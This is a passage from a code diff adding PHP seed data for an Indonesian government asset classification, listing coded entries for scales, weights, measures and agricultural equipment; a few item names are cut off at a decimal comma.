'03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'TIMBANGAN BBI CAPASITAS 10 KG', + ], + [ + 'id_aset' => 1490, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'TIMBANGAN CEPAT CAPASITAS 10 KG', + ], + [ + 'id_aset' => 1491, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'TIMBANGAN CEPAT CAPASITAS 25 KG', + ], + [ + 'id_aset' => 1492, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '010', + 'nama' => 'TIMBANGAN CEPAT CAPASITAS 200 KG', + ], + [ + 'id_aset' => 1493, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '011', + 'nama' => 'TIMBANGAN PEGAS CAPASITAS 10 KG', + ], + [ + 'id_aset' => 1494, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '012', + 'nama' => 'TIMBANGAN PEGAS CAPASITAS 50 KG (ALAT TIMBANGAN/BIARA)', + ], + [ + 'id_aset' => 1495, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '014', + 'nama' => 'TIMBANGAN SURAT CAPASITAS 100 KG', + ], + [ + 'id_aset' => 1496, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '015', + 'nama' => 'TIMBANGAN KWADRAN CAPASITAS 100 KG', + ], + [ + 'id_aset' => 1497, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '016', + 'nama' => 'TIMBANGAN SENTISIMAL DACIN KUNINGAN', + ], + [ + 'id_aset' => 1498, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '017', + 'nama' => 'TIMBANGAN GULA GAVEKA', + ], + [ + 'id_aset' => 1499, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '018', + 'nama' => 'TIMBANGAN GANTUNG CAPASITAS 50 GRAM', + ], + [ + 'id_aset' => 1500, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '019', + 'nama' => 'NERACA HALUS + LEMARI CAPASITAS 500 GRAM', + ], + [ + 'id_aset' => 1501, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '020', + 'nama' => 'NERACA PARAMA E', + ], + [ + 'id_aset' => 1502, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '021', + 'nama' => 'NERACA PARAMA D CAPASITAS 5 GRAM', + ], + [ + 'id_aset' => 1503, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '022', + 'nama' => 'NERACA PERCISI ELEKTRONIK CAPASITAS 1 KG.', + ], + [ + 'id_aset' => 1504, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '023', + 'nama' => 'NERACA PERCISI ( SINGLE PAN ) CAPASITAS 20 KG.', + ], + [ + 'id_aset' => 1505, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '024', + 'nama' => 'NERACA PERCISI ( ELEKTRONIK VACUM ME )', + ], + [ + 'id_aset' => 1506, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '025', + 'nama' => 'NERACA PERCISI 30 KG ( MICRO BALANCE )', + ], + [ + 'id_aset' => 1507, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '026', + 'nama' => 'NERACA PERCISI CAPASITAS 50 GRAM', + ], + [ + 'id_aset' => 1508, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '027', + 'nama' => 'NERACA PERCISI CAPASITAS 1 KG.', + ], + [ + 'id_aset' => 1509, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '028', + 'nama' => 'NERACA TERA E', + ], + [ + 'id_aset' => 1510, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '029', + 'nama' => 'NERACA TERA A CAPASITAS 75 KG.', + ], + [ + 'id_aset' => 1511, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '030', + 'nama' => 'NERACA TERA B CAPASITAS 10 KG.', + ], + [ + 'id_aset' => 1512, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '031', + 'nama' => 'NERACA TORSION BALANCE CAPASITAS 500 GRAM', + ], + [ + 'id_aset' => 1513, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '032', + 'nama' => 'NERACA ANALISA CAPASITAS 1000 GRAM', + ], + [ + 'id_aset' => 1514, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '033', + 'nama' => 'NERACA ANALISA CAPASITAS 20 KG', + ], + [ + 'id_aset' => 1515, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '034', + 'nama' => 'NERACA CAPASITAS 1 KG.', + ], + [ + 'id_aset' => 1516, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '035', + 'nama' => 'NERACA CAPASITAS 20 KG.', + ], + [ + 'id_aset' => 1517, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '036', + 'nama' => 'MOISTER METER', + ], + [ + 'id_aset' => 1518, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '037', + 'nama' => 'NERACA DENGAN DIGITAL DISPLAY', + ], + [ + 'id_aset' => 1519, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT TIMBANGAN/BIARA LAINNYA', + ], + [ + 'id_aset' => 1520, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'ANAK TIMBANGAN / BIARA', + ], + [ + 'id_aset' => 1521, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'KILOGRAM TEMBAGA NASIONAL PLATINA', + ], + [ + 'id_aset' => 1522, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'KILOGRAM TEMBAGA BENTUK TONG BERSADUR MAS MURNI 1 KG.', + ], + [ + 'id_aset' => 1523, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'KILOGRAM SEPUH MAS 1 KG. PAKAI TOMBOL', + ], + [ + 'id_aset' => 1524, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'KILOGRAM BAJA BERBENTUK TONG BERSADUR CROOM', + ], + [ + 'id_aset' => 1525, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'KILOGRAM DARI BAJA BERBENTUK SLINDER', + ], + [ + 'id_aset' => 1526, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '006', + 'nama' => 'KILOGRAM KERJA STANDAR TK.II', + ], + [ + 'id_aset' => 1527, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '007', + 'nama' => 'KILOGRAM STANDAR', + ], + [ + 'id_aset' => 1528, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '008', + 'nama' => 'ANAK TIMBANGAN TEMBAGA KANTOR TK.III', + ], + [ + 'id_aset' => 1529, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '009', + 'nama' => 'ANAK TIMBANGAN MILIGRAM', + ], + [ + 'id_aset' => 1530, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '010', + 'nama' => 'ANAK TIMBANGAN MILIGRAM PLATINA', + ], + [ + 'id_aset' => 1531, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '011', + 'nama' => 'ANAK TIMBANGAN MILIGRAM ALUMINIUM', + ], + [ + 'id_aset' => 1532, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '012', + 'nama' => 'ANAK TIMBANGAN GRAM STANDAR 1 GRAM', + ], + [ + 'id_aset' => 1533, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '013', + 'nama' => 'ANAK TIMBANGAN HALUS DARI 1.000 - 1 GRAM', + ], + [ + 'id_aset' => 1534, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '014', + 'nama' => 'ANAK TIMBANGAN BIASA DARI 1.000 - 1 GRAM', + ], + [ + 'id_aset' => 1535, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '015', + 'nama' => 'ANAK TIMBANGAN BIDUR', + ], + [ + 'id_aset' => 1536, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '016', + 'nama' => 'ANAK TIMBANGAN DARI BESI', + ], + [ + 'id_aset' => 1537, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '017', + 'nama' => 'ANAK TIMBANGAN KEPING ( MULUT KECIL )', + ], + [ + 'id_aset' => 1538, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '018', + 'nama' => 'ANAK TIMBANGAN KEPING ( MULUT BESAR )', + ], + [ + 'id_aset' => 1539, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'ANAK TIMBANGAN / BIARA LAINNYA', + ], + [ + 'id_aset' => 1540, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '000', + 'nama' => 'TAKARAN KERING', + ], + [ + 'id_aset' => 1541, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '001', + 'nama' => 'TAKARAN KERING DARI 100 - 50 - 20 LITER', + ], + [ + 'id_aset' => 1542, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '002', + 'nama' => '\"TAKARAN KERING DARI 10 S/D 0', + ], + [ + 'id_aset' => 1543, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '07', + 'sub_sub_kelompok' => '999', + 'nama' => 'TAKARAN KERING LAINNYA', + ], + [ + 'id_aset' => 1544, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '000', + 'nama' => 'TAKARAN BAHAN BANGUNAN', + ], + [ + 'id_aset' => 1545, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '001', + 'nama' => 'TAKARAN BAHAN BANGUNAN 2 HL BERBENTUK TONG', + ], + [ + 'id_aset' => 1546, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '08', + 'sub_sub_kelompok' => '999', + 'nama' => 'TAKARAN BAHAN BANGUNAN LAINNYA', + ], + [ + 'id_aset' => 1547, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '000', + 'nama' => 'TAKARAN LAINNYA', + ], + [ + 'id_aset' => 1548, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '001', + 'nama' => 'TAKARAN LATEX/GETAH SUSU', + ], + [ + 'id_aset' => 1549, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '002', + 'nama' => '\"TAKARAN BUAH KOPI DARI 0', + ], + [ + 'id_aset' => 1550, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '003', + 'nama' => 'TAKARAN KAPUK DARI KAYU 2 DAN 1 HL', + ], + [ + 'id_aset' => 1551, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '004', + 'nama' => '\"TAKARAN MINYAK DARI BESI 0', + ], + [ + 'id_aset' => 1552, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '005', + 'nama' => '\"TAKARAN GANDUM 0', + ], + [ + 'id_aset' => 1553, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '09', + 'sub_sub_kelompok' => '999', + 'nama' => 'TAKARAN LAINNYA', + ], + [ + 'id_aset' => 1554, + 'golongan' => '3', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT UKUR LAINNYA', + ], + [ + 'id_aset' => 1555, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PERTANIAN', + ], + [ + 'id_aset' => 1556, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGOLAHAN', + ], + [ + 'id_aset' => 1557, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGOLAHAN TANAH DAN TANAMAN', + ], + [ + 'id_aset' => 1558, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'BAJAK KAYU', + ], + [ + 'id_aset' => 1559, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'BAJAK MUARA', + ], + [ + 'id_aset' => 1560, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'PACUL', + ], + [ + 'id_aset' => 1561, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'LINGGIS', + ], + [ + 'id_aset' => 1562, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'GARPU PACUL', + ], + [ + 'id_aset' => 1563, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'GARPU KAYU', + ], + [ + 'id_aset' => 1564, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'GARPU BESI', + ], + [ + 'id_aset' => 1565, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'TRACTOR FOUR WHEEL (DENGAN KELENGKAPANNYA)', + ], + [ + 'id_aset' => 1566, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'TRACTOR TANGAN DENGAN PERLENGKAPANNYA', + ], + [ + 'id_aset' => 1567, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGOLAHAN TANAH DAN TANAMAN LAINNYA', + ], + [ + 'id_aset' => 1568, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PEMELIHARAAN TANAMAN/IKAN/TERNAK', + ], + [ + 'id_aset' => 1569, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'KORED', + ], + [ + 'id_aset' => 1570, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'ARIT', + ], + [ + 'id_aset' => 1571, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'BABATAN', + ], + [ + 'id_aset' => 1572, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'PACUL DANGIR', + ], + [ + 'id_aset' => 1573, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'PENYEMPROT OTOMATIS (AUTOMATIC SPRAYER)', + ], + [ + 'id_aset' => 1574, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'PENYEMPROT MESIN (POWER SPRAYER)', + ], + [ + 'id_aset' => 1575, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'PENYEMPROT TANGAN (HAND SPRAYER)', + ], + [ + 'id_aset' => 1576, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'ALAT PENYIANG TANAMAN', + ], + [ + 'id_aset' => 1577, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PEMELIHARAAN TANAMAN/IKAN/TERNAK LAINNYA', + ], + [ + 'id_aset' => 1578, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PANEN', + ], + [ + 'id_aset' => 1579, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'ANI-ANI', + ], + [ + 'id_aset' => 1580, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'ALAT PERONTOKAN (THRESSER PEDAL)', + ], + [ + 'id_aset' => 1581, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'ALAT PERONTOKAN MESIN (POWER THRESSER)', + ], + [ + 'id_aset' => 1582, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'ALAT PEMIPIL JAGUNG', + ], + [ + 'id_aset' => 1583, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'ALAT PENGERING (DRYER)', + ], + [ + 'id_aset' => 1584, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'ALAT PENGUKUR KADAR AIR (MOISTURE TESTER)', + ], + [ + 'id_aset' => 1585, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'ALAT PENGGILING KOPI', + ], + [ + 'id_aset' => 1586, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'ALAT PENGOLAH TEPUNG', + ], + [ + 'id_aset' => 1587, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '009', + 'nama' => 'ALAT BANTU UJI TUMBUH', + ], + [ + 'id_aset' => 1588, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '010', + 'nama' => 'ALAT PENAMPI', + ], + [ + 'id_aset' => 1589, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PANEN LAINNYA', + ], + [ + 'id_aset' => 1590, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENYIMPAN HASIL PERCOBAAN PERTANIAN', + ], + [ + 'id_aset' => 1591, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'COLD STORAGE (KAMAR PENDINGIN)', + ], + [ + 'id_aset' => 1592, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'SELO (KOTAK PENYIMPANAN) DENGAN PENGATUR TEMPERATUR', + ], + [ + 'id_aset' => 1593, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'RAK-RAK PENYIMPAN', + ], + [ + 'id_aset' => 1594, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'LEMARI PENYIMPAN', + ], + [ + 'id_aset' => 1595, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENYIMPAN HASIL PERCOBAAN PERTANIAN LAINNYA', + ], + [ + 'id_aset' => 1596, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT LABORATORIUM PERTANIAN', + ], + [ + 'id_aset' => 1597, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'ALAT PENGUKUR CURAH HUJAN', + ], + [ + 'id_aset' => 1598, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'ALAT PENGUKUR CAHAYA', + ], + [ + 'id_aset' => 1599, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'ALAT PENGUKUR INTENSITAS CAHAYA', + ], + [ + 'id_aset' => 1600, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'ALAT PENGUKUR TEMPERATUR', + ], + [ + 'id_aset' => 1601, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'ALAT PENGUKUR P.H. TANAH (SOIL TESTER)', + ], + [ + 'id_aset' => 1602, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'ALAT PENGAMBIL SAMPLE TANAH', + ], + [ + 'id_aset' => 1603, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'RICE', + ], + [ + 'id_aset' => 1604, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'GRINDDING MILL', + ], + [ + 'id_aset' => 1605, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'VOLUME TEST', + ], + [ + 'id_aset' => 1606, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '010', + 'nama' => 'WEIGHT', + ], + [ + 'id_aset' => 1607, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '011', + 'nama' => 'STRAW FACTURE', + ], + [ + 'id_aset' => 1608, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '012', + 'nama' => 'FALLING NUMBER', + ], + [ + 'id_aset' => 1609, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '013', + 'nama' => 'ELECTRODE PH METER', + ], + [ + 'id_aset' => 1610, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '014', + 'nama' => 'ALAT PENURUN KADAR AIR MADU', + ], + [ + 'id_aset' => 1611, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT LABORATORIUM PERTANIAN LAINNYA (ALAT PENGOLAHAN PERTANIAN)', + ], + [ + 'id_aset' => 1612, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PROSESING', + ], + [ + 'id_aset' => 1613, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'UNIT PENGADUK', + ], + [ + 'id_aset' => 1614, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'ALAT PENCABUT BULU AYAM', + ], + [ + 'id_aset' => 1615, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'ALAT PEMBUAT PELET/MAKANAN TERNAK', + ], + [ + 'id_aset' => 1616, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '004', + 'nama' => 'ALAT PEMBUAT MOLASE BLOK', + ], + [ + 'id_aset' => 1617, + 'golongan' => '3', + 'bidang' => '04', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '005', + 'nama' => 'MESIN TETAS', + ], + [ + 'id_aset' => 1618, + 'golongan' => '3', + 'bidang' => '04', + 